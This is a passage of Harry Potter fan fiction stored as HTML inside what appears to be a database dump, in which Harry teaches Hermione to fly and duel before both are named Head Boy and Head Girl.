class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yup, and you love me for it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;True&#8230;very true.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you tired, Herm?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, but don&#8217;t be surprised if I wake you up in a few\nhours,&#8221; she said suggestively.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I always did like surprises &#8211; especially from you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you,&#8221; and she settled into his arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you too,&#8221; and he tightened his hold on her body.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Neither of them got much sleep during the night.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(161, 12, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, I&#8217;m not doing that!&#8221; Hermione nearly screamed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, Herm, you have to learn sometime.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, I don&#8217;t, I don&#8217;t even like riding it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry groaned and shook his head.&nbsp; He was trying to teach Hermione how to ride a broomstick, but she\njust refused to cooperate.&nbsp; They were\nout in the backyard, and he&#8217;d placed several invisibility and silencing charms\naround the area so no one saw what they were doing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please sweetheart, try it again; I want you to be able to\ndo this.&#8221; She felt her reserves crumbling at his tender gaze.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, but I don&#8217;t see why I&#8217;m doing this; it&#8217;s not\nlike I need it to graduate.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry suddenly became very quiet, and she looked at him\nsuspiciously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry?&#8221; she asked, noting how his eyes darted anywhere but\nher.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why don&#8217;t you take a break?&#8221; he said nervously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you hiding?&#8221; she demanded and dismounted the\nbroom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;um&#8230;that is&#8230;you kinda do need to know how to fly to\ngraduate.&#8221; Her eyes shot open in horror.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you serious?&nbsp;\nHow do you know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fred and George told me about it.&nbsp; He said that the N.E.W.T.S. are given by each professor &#8211;\nincluding Madam Hooch.&nbsp; She won&#8217;t pass\nyou if you can&#8217;t fly.&#8221;&nbsp; Hermione&#8217;s face\nfell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But&#8230;but I&#8230;I&#8217;ve never been able to ride a broom\nproperly.&nbsp; I do well in everything else\nbut flying!&nbsp; Why should one subject\nmatter?&#8221; she said franticly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Calm down, love,&#8221; Harry whispered and touched her\nshoulders, &#8220;Everything is going to be fine.&nbsp;\nI&#8217;ll have you flying high in no time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She turned her head and grinned at him slyly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you call last night?&#8221; she cooed.&nbsp; He flushed slightly at her remark.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t mean that, angel, and you know it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now, come on, let&#8217;s try this again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry summoned his Firebolt and waited for Hermione.&nbsp; She stood next to her broom, which was lying\non the ground.&nbsp; She never knew why she\nactually bought one &#8211; just to say that she had her own or something.&nbsp; Lifting up her hand, she took a deep breath\nand put a determined look on her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hold it!&#8221; Harry ordered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s wrong?&#8221; He shook his head and went behind her\nagain.&nbsp; Setting down his broom, he once\nagain put his hands on her shoulders.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Relax sweetheart, or you&#8217;ll never be able to do this.&nbsp; Flying isn&#8217;t like studying potions or\npruning mandrakes; it&#8217;s meant to be done with a light heart; it&#8217;s meant to be\nfun.&nbsp; Now, lose the serious look.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So what should I do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, close your eyes and relax your mind.&nbsp; Don&#8217;t think about anything in particular &#8211;\njust let yourself drift for a moment.&nbsp;\nGood, now raise your hand and call for it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione lifted her arm over her broom and opened her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Up!&#8221; she said firmly, and the broomstick snapped into her\nhand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I did it!&#8221; Harry squeezed her shoulders gently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There you see, don&#8217;t take it so seriously.&nbsp; Let&#8217;s see if we can get you off the ground.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gulped at that prospect.&nbsp; She&#8217;d always had a slight fear of heights.&nbsp; The other night when she and Harry were\nfloating high above the town, she was certain her stomach was going to explode,\nbut his presence kept her calm.&nbsp; She\nmounted her broom and waited for his next instructions.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry mounted his Firebolt and rose off the ground\nslightly.&nbsp; He floated around in front of\nher and looked directly in her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, Hermione, you can do this.&nbsp; Grip the handle, but don&#8217;t try to crush\nit.&nbsp; Now make sure that you feel\ncomfortable with the way you&#8217;re sitting&#8230;&#8221; She nodded at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;Okay, this is tough part.&nbsp;\nDon&#8217;t think about trying to fly; don&#8217;t think about not touching the\nground.&nbsp; Just push off the ground and\nnot even think twice about where you&#8217;re going.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He could see her hands tremble slightly, and she took\nseveral deep breaths.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;You can do this, Hermione, you can do this!&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Even if she didn&#8217;t do it right the first time, Harry\nwouldn&#8217;t belittle her; he would just encourage her to do it again.&nbsp; Closing her eyes, she kicked off the ground,\nand a second later she couldn&#8217;t feel the ground anymore.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You did it!&#8221; Harry said happily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His fianc&#233; opened her eyes and looked down.&nbsp; She was hovering steadily, approximately\nfive feet above the ground, and a smile broke out on her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m flying; I&#8217;m really flying.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yup, told you could do it, Herm.&nbsp; There&#8217;s nothing my girl can&#8217;t do,&#8221; he said proudly and winked at\nher.&nbsp; She just blushed slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um Harry&#8230;how do I get down now?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, slowly lean forward but don&#8217;t bend over, or it might\nthink you want to go forward.&nbsp; Lean\nforward and push down on the handle gently.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione did as he instructed, and her broom turned down and\nslowly sank back to the ground.&nbsp; Her\nfeet touched the grass, and she let out a much-needed breath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Phew, I&#8217;m glad that&#8217;s over,&#8221; she gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t worry, you&#8217;ll get used to the feeling; you just need\na little more practice.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can we stop for today?&nbsp;\nI&#8217;m still a little edgy about it,&#8221; she whispered, and he smiled warmly\nat her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Course we can.&nbsp;\nBesides, there are some other things I wanted to show you anyway.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Like what?&#8221; Hermione asked and dismounted her broom.&nbsp; Harry joined her back on the ground and set\ndown his Firebolt.&nbsp; Looking around, he\npicked up a rock out of the grass.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Like this&#8230;&#8221; and he tossed the stone into the air.&nbsp; Pulling it out his wand, he took aim.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Exploda!&#8221; and it shattered into a million pieces of\ndust.&nbsp; Hermione gulped, and she gawked\nat him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You want me&#8230;to learn&#8230;that!&#8221; He nodded at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not just that, Hermione, there are other spells too.&nbsp; I want you to learn how to defend yourself &#8211;\nnot just disarm another wizard.&nbsp; I need\nyou to know how!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She looked into his eyes and saw the seriousness in his\neyes; this went much deeper than he was admitting.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Won&#8217;t you get in trouble for showing me this though?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not as long as you don&#8217;t curse someone in public.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, why are you doing this, and don&#8217;t say because I\ncould get hurt?&#8221; He groaned slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, there&#8217;s only one thing that I truly hate and\nthat&#8217;s to see you get hurt.&nbsp; I&#8217;m not\njust talking about physically either.&nbsp; I\ncan still remember back in second year when Malfoy called you a Mudblood; you\nstood there in Hagrid&#8217;s hut trying not to cry your eyes out.&nbsp; You&#8217;re a very strong-willed person, and I\nwant you to be able to prove it.&nbsp; You\nmay be a muggle-born, but I know that you have great potential inside you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s sound like the same thing Dumbledore keeps saying to\nyou,&#8221; she laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know, and it took me a while to get it through my thick\nhead!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So what exactly do want to teach me?&nbsp; I know a lot of charms and hexes &#8211; if you\nrecall.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Course you do, but those are strategic spells.&nbsp; I want to teach you magic that is both\noffensive and defensive.&nbsp; I&#8217;m not gonna\nteach you how to kill someone obviously, but you&#8217;ll put up one helluva fight!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;I never thought I&#8217;d like stuff like this, but I guess\nit wouldn&#8217;t hurt.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I admit that this is for my benefit as well &#8211; especially\nconsidering you agreed to marry me,&#8221; he said softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How do you mean?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You may think this sounds selfish, but I&#8217;m afraid to leave\nyou alone sometimes.&nbsp; I&#8217;m afraid that\nsomething bad is going to happen to you, and I&#8217;ll be responsible&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, don&#8217;t-&#8220; He cut her off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;I know it sounds stupid, but it&#8217;s the truth.&nbsp; If I train you how to duel and defend\nyourself, then at least I have a slight peace of mind that some rogue Death\nEater won&#8217;t curse you if I&#8217;m not around.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gazed at him and shook her before smiling\nwarmly.&nbsp; Poor guy, he was trying so hard\nnot to sound like an idiot, and she couldn&#8217;t help but think that he was quite\nright.&nbsp; Being his wife meant that she\nwould become a target, but bloody hell, she already was a target when it came\nto him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If you want to make sure that I can match wands with the\nbest of &#8216;em, then by all means&#8230;show me how!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I knew you&#8217;d say yes, and if I&#8217;m right, you may soon be\ngiving McGonagall a run for her money &#8211; not to mention Sirius&#8230;the poor guy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione started laughing hysterically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And what about Malfoy, hmm?&#8221; she asked with a rather\nsinister smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Believe me, by the time we&#8217;re through, you&#8217;ll be able to\nstrip him down and hang him upside down by his underwear in the Great Hall.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why Harry&#8230;what an interesting idea?&#8221; she said with a sly\ngrin.&nbsp; He walked right up to her and\ncupped her cheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do I dare ask what devious thoughts are brewing in that\nbrain of yours?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A woman does not reveal all of her secrets, Harry &#8211; not yet\nanyway.&nbsp; One must keep her man\ninterested after all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That won&#8217;t ever be problem for me,&#8221; and he kissed her long\nand hard.&nbsp; His hands framed her face,\nand her fingers tangled in his hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm, are we going to snog or practice, love?&#8221; she cooed\nsoftly.&nbsp; He chewed his lip for a moment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Both are quite important, but I must say that practice\nshould come first&#8230;&#8221; Bending down, Harry nuzzled her ear, &#8220;&#8230;we can play later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As the final weeks of the summer rolled by, Harry continued\ntraining Hermione.&nbsp; It wasn&#8217;t nearly as\nrigorous as his own training had been, but he wanted to teach her how to fight\n&#8211; if necessary.&nbsp; The one thing that he\ndidn&#8217;t want Hermione to feel was inadequate.&nbsp;\nHe was afraid that if she ever saw his true power, she&#8217;d feel out of\nplace being at his side.&nbsp; This way, she\nwould have no cause for such nonsense.&nbsp;\nThe only thing that he didn&#8217;t try to show her was how to apparate.&nbsp; It had taken him long enough to learn it,\nand he didn&#8217;t want to be responsible if she did it wrong.&nbsp; Besides, Hermione would learn it at Hogwarts\nthis year anyway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s last day at the Grangers was very happy.&nbsp; Hermione had leaked it to her mom that it\nwas his birthday, and Melinda had baked a cake for him.&nbsp; He told her that he didn&#8217;t want one, but as\nhe expected, she shut him up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As they saw at the dining room table finishing up dinner, an\nowl arrived at the window.&nbsp; It pecked at\nthe glass, and Hermione immediately went to see it.&nbsp; Opening the pane, she saw that there were two letters attached to\nits leg.&nbsp; Untying them, she petted its\nfeathers, and the barn owl squeaked as it headed back home.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who&#8217;s it from, Herm?&#8221; Harry asked, as he took a bite of\ncake.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s from Professor Dumbledore and Professor\nMcGonagall.&nbsp; Here&#8230;this is yours,&#8221; she\nreplied and handed him an envelope.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They both ripped open the seal and took out their letters.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh my gosh!&#8221; Hermione gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is it?&nbsp; Has\nsomething bad happened?&#8221; her mother asked worriedly.&nbsp; Her daughter shook her head emphatically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, nothing like that, here&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Melinda took the letter from her and looked at the\ncalligraphic writing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">TO MISS\nHERMIONE GRANGER,</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">IT IS MY\nESTEEMED PLEASURE TO ANNOUNCE THAT YOU HAVE BEEN NAMED HEAD GIRL AT HOGWARTS\nSCHOOL OF WITCHCRAFT OF WIZARDRY.&nbsp;\nCONGRATULATIONS.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ALBUS\nDUMBLEDORE</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SCHOOL\nHEADMASTER</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh Hermione, this is wonderful; I&#8217;m so proud of you,&#8221; her\nmother sighed and hugged her tightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Congratulations Hermione,&#8221; her father added and kissed her\ncheek.&nbsp; Harry did not say anything; he\njust sat there grinning.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; his girlfriend asked, seeing the sly smirk on his\nface.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Looks like we&#8217;re a matching pair!&#8221; he laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you mean?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I got named Head Boy for this year,&#8221; Harry chuckled and\nrolled his eyes, &#8220;I can just see the look on Fudge&#8217;s face right about now.&nbsp; A previously expelled student being named\nHead Boy of the entire school.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, that&#8217;s wonderful,&#8221; Mr. and Mrs. Granger said at the\nsame time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now Harry, you do realize this means that you have to behave\nyourself this year,&#8221; Hermione said cheekily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I beg your pardon!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know what I&#8217;m talking about &#8211; no fooling around.&nbsp; It would look bad if the Head Boy got into\nmore trouble than anyone else.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I resent that, Herm, it&#8217;s not my fault if trouble seeks me\nout.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh please, you and Ron attract it like a magnet.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ouch, that one hurt,&#8221; and he clutched his chest in mock\npain.&nbsp; Hermione giggled and rubbed her\nfoot against his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t worry, I&#8217;ll keep you in line.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t you always?&#8221; he countered with an arched eyebrow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good point.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My goodness, you two, how often do you fight like this?&#8221;\nMelinda asked, watching them go back and forth.&nbsp; Harry scratched his forehead to look like he was thinking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m not sure.&nbsp; What\ndo you say, Herm&#8230;five or six times a day?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sounds about right.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A day!&#8221; Mr. Granger gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, we like to think of it as intellectual warfare,&#8221; Harry\nteased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And I win every time!&#8221; Hermione giggled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not every time, sweetheart, just most of the time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry reached across the table and took her hand.&nbsp; Hermione smiled warmly and squeezed his hand\nin return.&nbsp; Their eyes conveyed their\nfeelings to one another without saying a word.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know, I was kinda hoping that Ron would get picked,&#8221;\nHarry admitted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why do you say that?&#8221; Melinda asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s always been his dream.&nbsp; He wanted to be able to step out of his brothers&#8217; shadows.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t worry about Ron, he won&#8217;t mind; he&#8217;ll have more free\ntime this way anyway,&#8221; Hermione explained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just think, we&#8217;re gonna have to go to all the prefect\nmeetings and handle all the problems that students complain about.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Trust me, Hermione, I&#8217;m not gonna spend my last year at\nHogwarts cooped up in meetings all the time.&nbsp;\nIf someone has a problem, they can explain it to me straightforward, but\nI&#8217;m not going to listen to a load of crap from people.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I agree completely; this is gonna be quite a partnership,&#8221;\nshe teased and winked at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After dinner was finished, Harry and Hermione headed\nupstairs to finish packing their things for the following day.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry loaded his clothes into his trunk but left a pair out\nfor the morning.&nbsp; He put his Gryffindor\nrobes on top for easy access and put his Firebolt underneath his clothes.&nbsp; He remembered the first time that Mrs.\nGranger had caught him teaching Hermione how to ride a broom; she&#8217;d completely\nflipped!&nbsp; However, after explaining that\nnobody could see them outside the residence, she calmed down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He turned his head as someone knocked on his door and in\nwalked Hermione.&nbsp; He smiled, and she\nwalked directly into his arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;our summer&#8217;s over now, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you, Hermione, I&#8217;ve had a wonderful time here; you\ndon&#8217;t know how lucky you are to have parents like these.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m glad that you came here for the summer; I would&#8217;ve\nmissed you too much.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know, Herm, I was just thinking&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s always good.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Smart-aleck.&nbsp; I was\nthinking that each of us is going to have our own room this year.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know, that&#8217;s gonna be great for studying,&#8221; she\nchirped.&nbsp; He should&#8217;ve known she&#8217;d say\nsomething like 